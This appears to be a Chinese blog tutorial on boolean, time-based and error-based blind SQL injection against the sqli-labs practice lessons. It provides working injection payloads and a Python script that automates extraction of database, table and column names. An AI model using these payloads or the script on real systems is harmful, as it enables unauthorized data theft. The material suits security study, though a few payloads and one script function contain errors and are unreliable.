sql注入之盲注
啊哈哈(挠头),感觉距离上次已经过去很久了。但是没有关系,今天来记录一下什么是盲注,以及其中的几种类型。
盲注
首先什么是盲注,在上一篇文章中我们讲了什么是基本型注入,还举了几个例子。
简单来说,就是我们可以通过测试找到网页的可注入点和回显的地方,通过闭合网站提供的语句,让有回显的地方,回显出我们构造的select语句,从而一步步找到我们要的东西。
那么盲注,顾名思义,盲就是看不见,进一步理解就是网页没有给我们明确的回显。在这种情况下我们就无法简单的运用上一篇所学的知识来解决问题。
但是不是就没有办法了呢?很明显不是,接下来就认识一下几个基本的盲注。
boolen型注入
第一个是布尔型注入,boolen类型就只有两个结果,要么正确,要么错误。
具体的例子我们可以借鉴sql-labs里的less-8。
我们可以看到我们更改输入的内容,网页并没有什么变化。
但是我们尝试故意输入值为错误的语句时。页面似乎就真的取消了原有的不变的个那个“you are in …”
有变化就是好事,至少我们能判定我们输入的payload是否正确。
好了,我们知道了语句错误不会回显,正确会回显,我们又要想办法找到我们需要的东西,那该怎么办呢?
或许我们可以尝试,使原select语句闭合并且错误,再用or语句连接一个正确的我们所构建的,能达到目的的select语句。这样是不是也能达到目的呢。
先试验一下。
通过简单的尝试我们可以发现,前语句似乎是用单引号闭合的(当然题目也写了),接下来我们只需要将后面的语句进行替换,以达到我们的目的。
要注意的是,我们构建的语句输出的值只能是正确或者错误,这样才能较好的进行判断。
首先我们可以先来试着找出当前页面的数据库长度是多少
构建payload:
?id=-1' or length(database()) >= 1 %23
有回显,说明数据库的长度大于1,接下来我们再一步步测试,最终我们发现一直到9,页面才不给予回显,说明该数据库的长度等于8.
然后是试着找出这个数据库的名字
构建payload:
?id=-1' or (substr(database(),1,1))='s'%23
那么问题来了,substr又是什么?为什么要这样构建?
substr() 函数返回字符串的一部分,语法是substr(string,start,length)
理解了函数的意思,再来理解这句话就好理解一点了吧。
我只能一个一个字符判断,而用substr函数正好能解决这个问题,我们选择截取数据库开头的第一个字符,判断他是否为s。
有回显,说明我们判断正确。然后我们可以通过修改substr函数的开始位置来取得完整的数据库名。
接下来的查询表数,表名,,字段名,字段值,就是将上一篇的知识和以上知识相结合一步步进行判断。
我在这里写几个简单的payload,可以借鉴一下
构建payload:
?id=-1' or (select count(*) from information_schema.tables where table_schema=database()) >=1 %23
-----判断表的个数
' or (substr((select group_concat(table_name separator '+') from information_schema.tables where table_schema=database()),1,1)) = 'e' %23
-----判断表名,表之间用+分开
字段与这些类似,可以参考上一篇来构建payload。
时间型注入
- 那么新的问题又来了,如果网页无论如何都不给我们回显,或者回显一直没有改变怎么办呢
所以接下来,我们就介绍一种新的注入-------时间型注入。
同样我们可以用less-9来举例。
在此之前,需要先来认识两个函数 - if函数。
具体用法:if(1,2,3)
-----1为条件,为真输出2,为假输出3. - sleep函数
sleep() 函数延迟执行当前脚本若干秒。
注释:如果指定秒数是负数,该函数将抛出一个错误。
具体用法:sleep(seconds)
通过对这两个函数的基本认识,我们也可以大致猜出我们的payload该如何构建。这里我举个小例子
payload构建:
?id=1' and if(length(database())>=1,sleep(10),1) %23
我们可以看到似乎页面也并没有出现什么变化,但是左上角似乎一直在“转圈”,像是网页加载得很慢。
但当我们语句的输出值为错误时,网页却很快的加载好了,并没有出现刚才的情况。
为什么会出现这种情况呢,我们再回去分析一下payload:
如果当前数据库的长度大于等于1,那么网页就会延迟10s再进行判断,如果小于则返回1。
这样的话变化就出现了,有变化就能验证正确与否。
知道了判断方法,又知道了注入的基本流程,那么剩下的就简单了。
同样,我在这里也只是给几个payload,提供参考。
构建payload:
?id=1' and if(substr(database(),1,1) = 's',sleep(10),1) %23
----测试数据库的长度。
?id=1' and if(substr(database(),1,1) = 's',sleep(10),1) %23
-----测试数据库名。
报错型注入
今天要介绍的最后一种,报错型注入。
这种注入通常用于注册界面或者登录界面。
我们输入错误的用户名或密码时他会给予报错提示,我们正是利用他的这种报错形式来完成我们的目标。
具体例子我们可以参考less-11.
我们可以发现,无论我们在搜索框构建怎样的payload,页面都没有反应。所以我们只能利用网站给予的登录界面。
经过测试以及网站给与我们的报错信息,我们可以大致猜测网站的判定语句是:
username=''and password='' limit 0,1
我们是不是可以尝试闭合password之前的语句,注释掉包括limit及其之后的语句,在其之间构造我们的payload。
在此之前,好像说了好多这个词,还是要来认识一个新函数
- updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
。
上面这一串是网上查的,简单来说就是。。。。
(updatexml(‘anything’,’/xx/xx’,’anything’))
构建payload:
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
注意:1.0x7e
是‘~’的ASCII码,用来把我们要的东西框起来
2.我们输入payload的时候要分开哦,类似于下图
因为可能存在判断,两者是否有为空的情况,所以养成习惯。
填完payload之后,我们点击提交。可以看到数据库名在报错行显示出来了。
剩下的操作,就是系统操作了,其实这类注入的复杂度比前两种还稍微简单点,主要还是熟练度。
同样的我还是提供一些payload,方便借鉴
报错注入攻击
‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
利用updatexml()函数演示SQL语句获取user()的值。
其中0xye是ASCII编码,解码结果为~
’and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
尝试获取当前数据库的库名。
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
利用select语句继续获取数据库中的库名,表名,字段名,因为报错注入只显示一条,所以要用limit语句。
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
查询数据库中的表名。
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' limit 0,1),0x7e),1)--+
查询表的各个字段名。
' and updatexml(1,concat(0x7e,(select 字段名 from 表名 limit 0,1),0x7e),1)--+
查询字段的各个值。
python脚本
我们虽然是知道了如何使用盲注语句,但是我们可以明显感受到,效率很低。。。很低很低。
我们甚至需要一个字段一个段或者一个字符一个字符的去验证是否正确。
那有没有办法解决这个问题呢,至少不让我们那么累,电脑累点。
答案是,有的。
我们可以利用python代码,构写一个能让它自己进行判断的程序,来代替我们人工操作。
这里就不详细介绍了,下面我提供一个boolen注入的半成品,大致内容流程,可以借鉴一下。
import requests
# #也可以是列表
# payload = {'key1': 'value1', 'key2': ['value2', 'value3']}
# payload = {'key1': 'value1', 'key2': 'value2'}
# #params 关键字参数,以一个字符串字典来提供这些参数
# r = requests.get('http://127.0.0.1:82/Less-8/', params=payload)
# #ttp://127.0.0.1:82/Less-8/?key1=value1&key2=value2&key2=value3
# print(r.url)
#0' or length(database())>=1 --+
#0' or substr(database(),1,1)='s' --+
#url = "http://192.168.43.148:8082/Less-8/?id=0' or length(database())>=1 --+"
# url = "http://192.168.43.148:8082/Less-8/?id=0' or substr(database(),1,1)='s' --+"
url = "http://192.168.43.148:8082/Less-8/?id=0"
def get_db_length():
sqllen=""
for i in range(1,12):
poc = "' or length(database()) >= {} --+".format(i)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
# print(len(res.text)) #706 正确 722 错
if len(res.text) > 706:
sqllen = i-1
break
print("数据库长度为:{}".format(sqllen))
return sqllen
def get_db_name(db_length):
db_length = db_length + 1
db_name = ''
for a in range(1,db_length):
for b in range(1,128):
poc = "' or (ord(substr(database(),{},1)) = {}) --+".format(a,b)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
if len(res.text) == 706:
db_name += chr(b)
# print("数据库的第{}位是:{}".format(a,chr(b)))
break
print("数据库名为:{}".format(db_name))
return db_name
def get_db_table_count():
count = 0
flag = True
while flag:
poc = "' or (select count(*) from information_schema.tables where table_schema=database()) = {} --+".format(count)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
if len(res.text) == 706:
flag = False
count +=1
print("数据库有{}个表".format(count-1))
return count-1
def get_db_tables_length():
length = 0
flag = True
while flag:
poc = "' or (select length((select group_concat(table_name separator '+') from information_schema.tables where table_schema=database()))) >= {} --+".format(length)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
if len(res.text) > 706:
flag = False
length +=1
print("数据库中所有用‘+’连起来的表总长度为:{}".format(length-2))
return length-2
#(select substr((select group_concat(table_name separator '+') from information_schema.tables where table_schema=database()),1,1))
def get_db_tables(tables_length):
# tables = []
tables = ''
for a in range(1,tables_length+1):
for b in range(1,128):
poc = "' or (select ord((select substr((select group_concat(table_name separator '~') from information_schema.tables where table_schema=database()),{},1)))) = {} --+".format(a,b)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
#print(len(res.text))
if len(res.text) == 706:
tables += chr(b)
# print("所有表为:{}".format(tables)) #emails~referers~uagents~users
break
table = tables.split('~') #['emails', 'referers', 'uagents', 'users']
for i in range(len(table)):
print("数据库的第{}个表为{}".format(i+1,table[i]))
# t = "{}".format(table[i])
return table
def get_db_table_column_count():
count = 0
flag = True
while flag:
poc = "' or (select count(*) from information_schema.columns where table_name='users') = {} --+".format(count)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
if len(res.text) == 706:
flag = False
count +=1
print("users表有{}个字段".format(count-1))
return count-1
def get_db_table_columns_length():
length = 0
flag = True
while flag:
poc = "' or (select length((select group_concat(column_name separator '+') from information_schema.columns where table_name='users'))) >= {} --+".format(length)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
if len(res.text) > 706:
flag = False
length +=1
print("users中所有用‘+’连起来的字段总长度为:{}".format(length-2))
return length-2
def get_db_table_columns(columns_length):
# tables = []
column = ''
for a in range(1,columns_length+1):
for b in range(1,128):
poc = "' or (select ord((select substr((select group_concat(column_name separator '~') from information_schema.columns where table_name='users'),{},1)))) = {} --+".format(a,b)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
#print(len(res.text))
if len(res.text) == 706:
column += chr(b)
break
column = column.split('~') #[ 'id', 'username', 'password']
for i in range(len(column)):
print("user表的第{}个字段为{}".format(i+1,column[i]))
return column
def get_db_table_columns_id_length():
length = 0
flag = True
while flag:
poc = "' or (select length(select (id separator '+') from user)) >= {} --+".format(length)
poc_url = url + poc
# print(poc_url)
res = requests.get(poc_url)
if len(res.text) > 706:
flag = False
length +=1
print("id中所有用‘+’连起来的字段总长度为:{}".format(length-2))
return length-2
if __name__ == '__main__':
db_length=get_db_length() #数据库长度
get_db_name(db_length) #数据库名
get_db_table_count() #表的个数
tables_length = get_db_tables_length() #所有表加在一起的长度
table = get_db_tables(tables_length) #所有表 ['emails', 'referers', 'uagents', 'users']
get_db_table_column_count=get_db_table_column_count() #users表的字段个数
columns_length=get_db_table_columns_length() #users表的字段总长度
columns=get_db_table_columns(columns_length) #users表的字段名 [ 'id', 'username', 'password']
代码运行出来的效果大致是这样:
这次的做题就止于此了,明天依旧光芒万丈呢!
本篇主要是介绍了几种常见的盲注类型以及基本思路,怕以后淡忘,同时如果也能帮助到刚接触sql注入的小师傅们那就更好不过了。